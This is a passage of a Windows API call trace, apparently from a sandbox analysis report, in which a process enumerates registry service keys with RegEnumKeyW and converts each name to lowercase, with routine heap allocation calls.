lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.171] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0244.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0244.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0244.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0244.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0244.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0244.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0244.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0244.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0244.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0244.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0244.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0244.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0244.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0244.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0244.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0244.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0244.180] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0244.180] RegEnumKeyW (in: 